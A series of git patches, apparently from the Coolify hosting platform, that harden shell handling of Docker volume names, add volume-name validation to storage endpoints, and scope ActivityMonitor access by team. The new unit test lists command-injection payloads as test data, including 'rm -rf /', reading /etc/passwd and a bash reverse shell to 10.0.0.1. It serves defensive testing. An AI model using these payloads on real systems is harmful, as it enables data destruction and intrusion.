+ // Two servers with same unreachable_count but different IDs
+ $server1 = Mockery::mock(Server::class)->makePartial();
+ $server1->id = 1;
+ $server1->unreachable_count = 5; // interval = 3
+
+ $server2 = Mockery::mock(Server::class)->makePartial();
+ $server2->id = 2;
+ $server2->unreachable_count = 5; // interval = 3
+
+ $server1AllowedMinutes = [];
+ $server2AllowedMinutes = [];
+
+ for ($minute = 0; $minute < 60; $minute++) {
+ Carbon::setTestNow("2025-01-15 12:{$minute}:00");
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ if (! $method->invoke($job, $server1)) {
+ $server1AllowedMinutes[] = $minute;
+ }
+ if (! $method->invoke($job, $server2)) {
+ $server2AllowedMinutes[] = $minute;
+ }
+ }
+
+ // Both servers should have some allowed minutes, but not all the same
+ expect($server1AllowedMinutes)->not->toBeEmpty()
+ ->and($server2AllowedMinutes)->not->toBeEmpty()
+ ->and($server1AllowedMinutes)->not->toBe($server2AllowedMinutes);
+ });
+});
+
+describe('ServerConnectionCheckJob unreachable_count', function () {
+ it('increments unreachable_count on timeout', function () {
+ $settings = Mockery::mock();
+ $settings->shouldReceive('update')
+ ->with(['is_reachable' => false, 'is_usable' => false])
+ ->once();
+
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
+ $server->shouldReceive('increment')->with('unreachable_count')->once();
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerConnectionCheckJob($server);
+ $job->failed(new TimeoutExceededException);
+ });
+
+ it('does not increment unreachable_count for non-timeout failures', function () {
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldNotReceive('increment');
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerConnectionCheckJob($server);
+ $job->failed(new RuntimeException('Some other error'));
+ });
+});
+
+describe('ServerCheckJob unreachable_count', function () {
+ it('increments unreachable_count on timeout', function () {
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldReceive('increment')->with('unreachable_count')->once();
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerCheckJob($server);
+ $job->failed(new TimeoutExceededException);
+ });
+
+ it('does not increment unreachable_count for non-timeout failures', function () {
+ $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
+ $server->shouldNotReceive('increment');
+ $server->id = 1;
+ $server->name = 'test-server';
+
+ $job = new ServerCheckJob($server);
+ $job->failed(new RuntimeException('Some other error'));
+ });
+});
From d2064dd4998694cda2eabd00149f7c4d1e94c699 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 11:06:30 +0100
Subject: [PATCH 078/168] fix(storage): use escapeshellarg for volume names in
shell commands
Add proper shell escaping for persistent volume names when used in
docker volume rm commands. Also add volume name validation pattern
to ValidationPatterns for consistent input checking.
Co-Authored-By: Claude Opus 4.6
---
app/Actions/Service/DeleteService.php | 2 +-
app/Livewire/Project/Service/Storage.php | 5 +-
app/Models/Application.php | 2 +-
app/Models/ApplicationPreview.php | 2 +-
app/Models/StandaloneClickhouse.php | 2 +-
app/Models/StandaloneDragonfly.php | 2 +-
app/Models/StandaloneKeydb.php | 2 +-
app/Models/StandaloneMariadb.php | 2 +-
app/Models/StandaloneMongodb.php | 2 +-
app/Models/StandaloneMysql.php | 2 +-
app/Models/StandalonePostgresql.php | 2 +-
app/Models/StandaloneRedis.php | 2 +-
app/Support/ValidationPatterns.php | 37 ++++++++
tests/Unit/PersistentVolumeSecurityTest.php | 98 +++++++++++++++++++++
14 files changed, 149 insertions(+), 13 deletions(-)
create mode 100644 tests/Unit/PersistentVolumeSecurityTest.php
diff --git a/app/Actions/Service/DeleteService.php b/app/Actions/Service/DeleteService.php
index 8790901cd..460600d69 100644
--- a/app/Actions/Service/DeleteService.php
+++ b/app/Actions/Service/DeleteService.php
@@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec
}
}
foreach ($storagesToDelete as $storage) {
- $commands[] = "docker volume rm -f $storage->name";
+ $commands[] = 'docker volume rm -f '.escapeshellarg($storage->name);
}
// Execute volume deletion first, this must be done first otherwise volumes will not be deleted.
diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php
index e896f060a..433c2b13c 100644
--- a/app/Livewire/Project/Service/Storage.php
+++ b/app/Livewire/Project/Service/Storage.php
@@ -5,6 +5,7 @@
use App\Models\Application;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
+use App\Support\ValidationPatterns;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -103,10 +104,10 @@ public function submitPersistentVolume()
$this->authorize('update', $this->resource);
$this->validate([
- 'name' => 'required|string',
+ 'name' => ValidationPatterns::volumeNameRules(),
'mount_path' => 'required|string',
'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable',
- ]);
+ ], ValidationPatterns::volumeNameMessages());
$name = $this->resource->uuid.'-'.$this->name;
diff --git a/app/Models/Application.php b/app/Models/Application.php
index 4cc2dcf74..c446052b3 100644
--- a/app/Models/Application.php
+++ b/app/Models/Application.php
@@ -390,7 +390,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}
diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php
index 3b7bf3030..b8a8a5a85 100644
--- a/app/Models/ApplicationPreview.php
+++ b/app/Models/ApplicationPreview.php
@@ -37,7 +37,7 @@ protected static function booted()
$persistentStorages = $preview->persistentStorages()->get() ?? collect();
if ($persistentStorages->count() > 0) {
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
}
diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php
index 33f32dd59..143aadb6a 100644
--- a/app/Models/StandaloneClickhouse.php
+++ b/app/Models/StandaloneClickhouse.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php
index 074c5b509..c823c305b 100644
--- a/app/Models/StandaloneDragonfly.php
+++ b/app/Models/StandaloneDragonfly.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php
index 23b4c65e6..f286e8538 100644
--- a/app/Models/StandaloneKeydb.php
+++ b/app/Models/StandaloneKeydb.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php
index 4d4b84776..efa62353c 100644
--- a/app/Models/StandaloneMariadb.php
+++ b/app/Models/StandaloneMariadb.php
@@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php
index b5401dd2c..9418ebc21 100644
--- a/app/Models/StandaloneMongodb.php
+++ b/app/Models/StandaloneMongodb.php
@@ -141,7 +141,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php
index 0b144575c..2b7e9f2b6 100644
--- a/app/Models/StandaloneMysql.php
+++ b/app/Models/StandaloneMysql.php
@@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php
index 92b2efd31..cea600236 100644
--- a/app/Models/StandalonePostgresql.php
+++ b/app/Models/StandalonePostgresql.php
@@ -114,7 +114,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php
index 352d27cfd..0e904ab31 100644
--- a/app/Models/StandaloneRedis.php
+++ b/app/Models/StandaloneRedis.php
@@ -140,7 +140,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 27789b506..7084b4cc2 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -45,6 +45,13 @@ class ValidationPatterns
*/
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';
+ /**
+ * Pattern for Docker volume names
+ * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
+ * Matches Docker's volume naming rules
+ */
+ public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
+
/**
* Pattern for Docker container names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
@@ -157,6 +164,36 @@ public static function shellSafeCommandRules(int $maxLength = 1000): array
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
}
+ /**
+ * Get validation rules for Docker volume name fields
+ */
+ public static function volumeNameRules(bool $required = true, int $maxLength = 255): array
+ {
+ $rules = [];
+
+ if ($required) {
+ $rules[] = 'required';
+ } else {
+ $rules[] = 'nullable';
+ }
+
+ $rules[] = 'string';
+ $rules[] = "max:$maxLength";
+ $rules[] = 'regex:'.self::VOLUME_NAME_PATTERN;
+
+ return $rules;
+ }
+
+ /**
+ * Get validation messages for volume name fields
+ */
+ public static function volumeNameMessages(string $field = 'name'): array
+ {
+ return [
+ "{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.',
+ ];
+ }
+
/**
* Get validation rules for container name fields
*/
diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php
new file mode 100644
index 000000000..fdce223d3
--- /dev/null
+++ b/tests/Unit/PersistentVolumeSecurityTest.php
@@ -0,0 +1,98 @@
+toBe(1);
+})->with([
+ 'simple name' => 'myvolume',
+ 'with hyphens' => 'my-volume',
+ 'with underscores' => 'my_volume',
+ 'with dots' => 'my.volume',
+ 'with uuid prefix' => 'abc123-postgres-data',
+ 'numeric start' => '1volume',
+ 'complex name' => 'app123-my_service.data-v2',
+]);
+
+it('rejects volume names with shell metacharacters', function (string $name) {
+ expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
+})->with([
+ 'semicolon injection' => 'vol; rm -rf /',
+ 'pipe injection' => 'vol | cat /etc/passwd',
+ 'ampersand injection' => 'vol && whoami',
+ 'backtick injection' => 'vol`id`',
+ 'dollar command substitution' => 'vol$(whoami)',
+ 'redirect injection' => 'vol > /tmp/evil',
+ 'space in name' => 'my volume',
+ 'slash in name' => 'my/volume',
+ 'newline injection' => "vol\nwhoami",
+ 'starts with hyphen' => '-volume',
+ 'starts with dot' => '.volume',
+]);
+
+// --- escapeshellarg Defense Tests ---
+
+it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
+ $command = 'docker volume rm -f '.escapeshellarg($maliciousName);
+
+ // The command should contain the name as a single quoted argument,
+ // preventing shell interpretation of metacharacters
+ expect($command)->not->toContain('; ')
+ ->not->toContain('| ')
+ ->not->toContain('&& ')
+ ->not->toContain('`')
+ ->toStartWith('docker volume rm -f ');
+})->with([
+ 'semicolon' => 'vol; rm -rf /',
+ 'pipe' => 'vol | cat /etc/passwd',
+ 'ampersand' => 'vol && whoami',
+ 'backtick' => 'vol`id`',
+ 'command substitution' => 'vol$(whoami)',
+ 'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
+]);
+
+// --- volumeNameRules Tests ---
+
+it('generates volumeNameRules with correct defaults', function () {
+ $rules = ValidationPatterns::volumeNameRules();
+
+ expect($rules)->toContain('required')
+ ->toContain('string')
+ ->toContain('max:255')
+ ->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
+});
+
+it('generates nullable volumeNameRules when not required', function () {
+ $rules = ValidationPatterns::volumeNameRules(required: false);
+
+ expect($rules)->toContain('nullable')
+ ->not->toContain('required');
+});
+
+it('generates correct volumeNameMessages', function () {
+ $messages = ValidationPatterns::volumeNameMessages();
+
+ expect($messages)->toHaveKey('name.regex');
+});
+
+it('generates volumeNameMessages with custom field name', function () {
+ $messages = ValidationPatterns::volumeNameMessages('volume_name');
+
+ expect($messages)->toHaveKey('volume_name.regex');
+});
From f9a9dc80aa85f494aa4fade9efe46d38afe579f1 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 12:17:39 +0100
Subject: [PATCH 079/168] fix(api): add volume name validation to storage API
endpoints
Apply the same Docker volume name pattern validation to the API
create and update storage endpoints for applications, databases,
and services controllers.
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Api/ApplicationsController.php | 5 +++--
app/Http/Controllers/Api/DatabasesController.php | 5 +++--
app/Http/Controllers/Api/ServicesController.php | 5 +++--
3 files changed, 9 insertions(+), 6 deletions(-)
diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index b081069b7..ad1f50ea2 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -20,6 +20,7 @@
use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl;
use App\Services\DockerImageParser;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
@@ -4096,7 +4097,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -4274,7 +4275,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index f9e171eee..660ed4529 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -19,6 +19,7 @@
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandalonePostgresql;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
@@ -3467,7 +3468,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -3665,7 +3666,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index 89635875c..fbf4b9e56 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -13,6 +13,7 @@
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
@@ -2015,7 +2016,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'resource_uuid' => 'required|string',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -2224,7 +2225,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
From 3e0d48faeaab950bfd063dfca908f1d140316ede Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 13:26:16 +0100
Subject: [PATCH 080/168] refactor: simplify remote process chain and harden
ActivityMonitor
- Inline PrepareCoolifyTask and CoolifyTaskArgs into remote_process(),
removing two single-consumer abstraction layers
- Add #[Locked] attribute to ActivityMonitor $activityId property
- Add team ownership verification in ActivityMonitor.hydrateActivity()
with server_uuid fallback and fail-closed default
- Store team_id in activity properties for proper scoping
- Update CLAUDE.md to remove stale reference
- Add comprehensive tests for activity monitor authorization
Co-Authored-By: Claude Opus 4.6
---
CLAUDE.md | 2 +-
.../CoolifyTask/PrepareCoolifyTask.php | 54 -------------
app/Data/CoolifyTaskArgs.php | 30 -------
app/Livewire/ActivityMonitor.php | 51 +++++++++---
bootstrap/helpers/remoteProcess.php | 64 +++++++++------
.../views/livewire/activity-monitor.blade.php | 4 +-
.../Feature/ActivityMonitorCrossTeamTest.php | 81 +++++++++++++++++--
7 files changed, 155 insertions(+), 131 deletions(-)
delete mode 100644 app/Actions/CoolifyTask/PrepareCoolifyTask.php
delete mode 100644 app/Data/CoolifyTaskArgs.php
diff --git a/CLAUDE.md b/CLAUDE.md
index 99e996756..bb65da405 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -43,7 +43,7 @@ ### Backend Structure (app/)
- **Models/** — Eloquent models extending `BaseModel` which provides auto-CUID2 UUID generation. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.). Common traits: `HasConfiguration`, `HasMetrics`, `HasSafeStringAttribute`, `ClearsGlobalSearchCache`.
- **Services/** — Business logic services (ConfigurationGenerator, DockerImageParser, ContainerStatusAggregator, HetznerService, etc.). Use Services for complex orchestration; use Actions for single-purpose domain operations.
- **Helpers/** — Global helpers loaded via `bootstrap/includeHelpers.php` from `bootstrap/helpers/` — organized into `shared.php`, `constants.php`, `versions.php`, `subscriptions.php`, `domains.php`, `docker.php`, `services.php`, `github.php`, `proxy.php`, `notifications.php`.
-- **Data/** — Spatie Laravel Data DTOs (e.g., `CoolifyTaskArgs`, `ServerMetadata`).
+- **Data/** — Spatie Laravel Data DTOs (e.g., `ServerMetadata`).
- **Enums/** — PHP enums (TitleCase keys). Key enums: `ProcessStatus`, `Role` (MEMBER/ADMIN/OWNER with rank comparison), `BuildPackTypes`, `ProxyTypes`, `ContainerStatusTypes`.
- **Rules/** — Custom validation rules (`ValidGitRepositoryUrl`, `ValidServerIp`, `ValidHostname`, `DockerImageFormat`, etc.).
diff --git a/app/Actions/CoolifyTask/PrepareCoolifyTask.php b/app/Actions/CoolifyTask/PrepareCoolifyTask.php
deleted file mode 100644
index 3f76a2e3c..000000000
--- a/app/Actions/CoolifyTask/PrepareCoolifyTask.php
+++ /dev/null
@@ -1,54 +0,0 @@
-remoteProcessArgs = $remoteProcessArgs;
-
- if ($remoteProcessArgs->model) {
- $properties = $remoteProcessArgs->toArray();
- unset($properties['model']);
-
- $this->activity = activity()
- ->withProperties($properties)
- ->performedOn($remoteProcessArgs->model)
- ->event($remoteProcessArgs->type)
- ->log('[]');
- } else {
- $this->activity = activity()
- ->withProperties($remoteProcessArgs->toArray())
- ->event($remoteProcessArgs->type)
- ->log('[]');
- }
- }
-
- public function __invoke(): Activity
- {
- $job = new CoolifyTask(
- activity: $this->activity,
- ignore_errors: $this->remoteProcessArgs->ignore_errors,
- call_event_on_finish: $this->remoteProcessArgs->call_event_on_finish,
- call_event_data: $this->remoteProcessArgs->call_event_data,
- );
- dispatch($job);
- $this->activity->refresh();
-
- return $this->activity;
- }
-}
diff --git a/app/Data/CoolifyTaskArgs.php b/app/Data/CoolifyTaskArgs.php
deleted file mode 100644
index 24132157a..000000000
--- a/app/Data/CoolifyTaskArgs.php
+++ /dev/null
@@ -1,30 +0,0 @@
-status = ProcessStatus::QUEUED->value;
- }
- }
-}
diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php
index 85ba60c33..665d14ba0 100644
--- a/app/Livewire/ActivityMonitor.php
+++ b/app/Livewire/ActivityMonitor.php
@@ -2,7 +2,9 @@
namespace App\Livewire;
+use App\Models\Server;
use App\Models\User;
+use Livewire\Attributes\Locked;
use Livewire\Component;
use Spatie\Activitylog\Models\Activity;
@@ -10,6 +12,7 @@ class ActivityMonitor extends Component
{
public ?string $header = null;
+ #[Locked]
public $activityId = null;
public $eventToDispatch = 'activityFinished';
@@ -57,25 +60,47 @@ public function hydrateActivity()
$activity = Activity::find($this->activityId);
- if ($activity) {
- $teamId = data_get($activity, 'properties.team_id');
- if ($teamId && $teamId !== currentTeam()?->id) {
+ if (! $activity) {
+ $this->activity = null;
+
+ return;
+ }
+
+ $currentTeamId = currentTeam()?->id;
+
+ // Check team_id stored directly in activity properties
+ $activityTeamId = data_get($activity, 'properties.team_id');
+ if ($activityTeamId !== null) {
+ if ((int) $activityTeamId !== (int) $currentTeamId) {
$this->activity = null;
return;
}
+
+ $this->activity = $activity;
+
+ return;
+ }
+
+ // Fallback: verify ownership via the server that ran the command
+ $serverUuid = data_get($activity, 'properties.server_uuid');
+ if ($serverUuid) {
+ $server = Server::where('uuid', $serverUuid)->first();
+ if ($server && (int) $server->team_id !== (int) $currentTeamId) {
+ $this->activity = null;
+
+ return;
+ }
+
+ if ($server) {
+ $this->activity = $activity;
+
+ return;
+ }
}
- $this->activity = $activity;
- }
-
- public function updatedActivityId($value)
- {
- if ($value) {
- $this->hydrateActivity();
- $this->isPollingActive = true;
- self::$eventDispatched = false;
- }
+ // Fail closed: no team_id and no server_uuid means we cannot verify ownership
+ $this->activity = null;
}
public function polling()
diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php
index f819df380..2544719fc 100644
--- a/bootstrap/helpers/remoteProcess.php
+++ b/bootstrap/helpers/remoteProcess.php
@@ -1,9 +1,10 @@
teams->pluck('id');
if (! $teams->contains($server->team_id) && ! $teams->contains(0)) {
- throw new \Exception('User is not part of the team that owns this server');
+ throw new Exception('User is not part of the team that owns this server');
}
}
SshMultiplexingHelper::ensureMultiplexedConnection($server);
- return resolve(PrepareCoolifyTask::class, [
- 'remoteProcessArgs' => new CoolifyTaskArgs(
- server_uuid: $server->uuid,
- command: $command_string,
- type: $type,
- type_uuid: $type_uuid,
- model: $model,
- ignore_errors: $ignore_errors,
- call_event_on_finish: $callEventOnFinish,
- call_event_data: $callEventData,
- ),
- ])();
+ $properties = [
+ 'server_uuid' => $server->uuid,
+ 'command' => $command_string,
+ 'type' => $type,
+ 'type_uuid' => $type_uuid,
+ 'status' => ProcessStatus::QUEUED->value,
+ 'team_id' => $server->team_id,
+ ];
+
+ $activityLog = activity()
+ ->withProperties($properties)
+ ->event($type);
+
+ if ($model) {
+ $activityLog->performedOn($model);
+ }
+
+ $activity = $activityLog->log('[]');
+
+ dispatch(new CoolifyTask(
+ activity: $activity,
+ ignore_errors: $ignore_errors,
+ call_event_on_finish: $callEventOnFinish,
+ call_event_data: $callEventData,
+ ));
+
+ $activity->refresh();
+
+ return $activity;
}
function instant_scp(string $source, string $dest, Server $server, $throwError = true)
{
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($source, $dest, $server) {
$scp_command = SshMultiplexingHelper::generateScpCommand($server, $source, $dest);
$process = Process::timeout(config('constants.ssh.command_timeout'))->run($scp_command);
@@ -92,7 +110,7 @@ function instant_remote_process_with_timeout(Collection|array $command, Server $
}
$command_string = implode("\n", $command);
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($server, $command_string) {
$sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string);
$process = Process::timeout(30)->run($sshCommand);
@@ -128,7 +146,7 @@ function instant_remote_process(Collection|array $command, Server $server, bool
$command_string = implode("\n", $command);
$effectiveTimeout = $timeout ?? config('constants.ssh.command_timeout');
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($server, $command_string, $effectiveTimeout, $disableMultiplexing) {
$sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string, $disableMultiplexing);
$process = Process::timeout($effectiveTimeout)->run($sshCommand);
@@ -170,9 +188,9 @@ function excludeCertainErrors(string $errorOutput, ?int $exitCode = null)
if ($ignored) {
// TODO: Create new exception and disable in sentry
- throw new \RuntimeException($errorMessage, $exitCode);
+ throw new RuntimeException($errorMessage, $exitCode);
}
- throw new \RuntimeException($errorMessage, $exitCode);
+ throw new RuntimeException($errorMessage, $exitCode);
}
function decode_remote_command_output(?ApplicationDeploymentQueue $application_deployment_queue = null, bool $includeAll = false): Collection
@@ -194,7 +212,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d
associative: true,
flags: JSON_THROW_ON_ERROR
);
- } catch (\JsonException $e) {
+ } catch (JsonException $e) {
// If JSON decoding fails, try to clean up the logs and retry
try {
// Ensure valid UTF-8 encoding
@@ -204,7 +222,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d
associative: true,
flags: JSON_THROW_ON_ERROR
);
- } catch (\JsonException $e) {
+ } catch (JsonException $e) {
// If it still fails, return empty collection to prevent crashes
return collect([]);
}
@@ -353,7 +371,7 @@ function checkRequiredCommands(Server $server)
}
try {
instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'apt update && apt install -y {$command}'"], $server);
- } catch (\Throwable) {
+ } catch (Throwable) {
break;
}
$commandFound = instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'command -v {$command}'"], $server, false);
diff --git a/resources/views/livewire/activity-monitor.blade.php b/resources/views/livewire/activity-monitor.blade.php
index 386d8622d..290a91857 100644
--- a/resources/views/livewire/activity-monitor.blade.php
+++ b/resources/views/livewire/activity-monitor.blade.php
@@ -34,10 +34,10 @@
}
}" x-init="// Initial scroll
$nextTick(() => scrollToBottom());
-
+
// Add scroll event listener
$el.addEventListener('scroll', () => handleScroll());
-
+
// Set up mutation observer to watch for content changes
observer = new MutationObserver(() => {
$nextTick(() => scrollToBottom());
diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.php
index 7e4aebc2f..9966ac2dd 100644
--- a/tests/Feature/ActivityMonitorCrossTeamTest.php
+++ b/tests/Feature/ActivityMonitorCrossTeamTest.php
@@ -1,9 +1,11 @@
otherTeam = Team::factory()->create();
});
-test('hydrateActivity blocks access to another teams activity', function () {
+test('hydrateActivity blocks access to another teams activity via team_id', function () {
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -27,12 +29,12 @@
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
- $component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $otherActivity->id)
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $otherActivity->id)
->assertSet('activity', null);
});
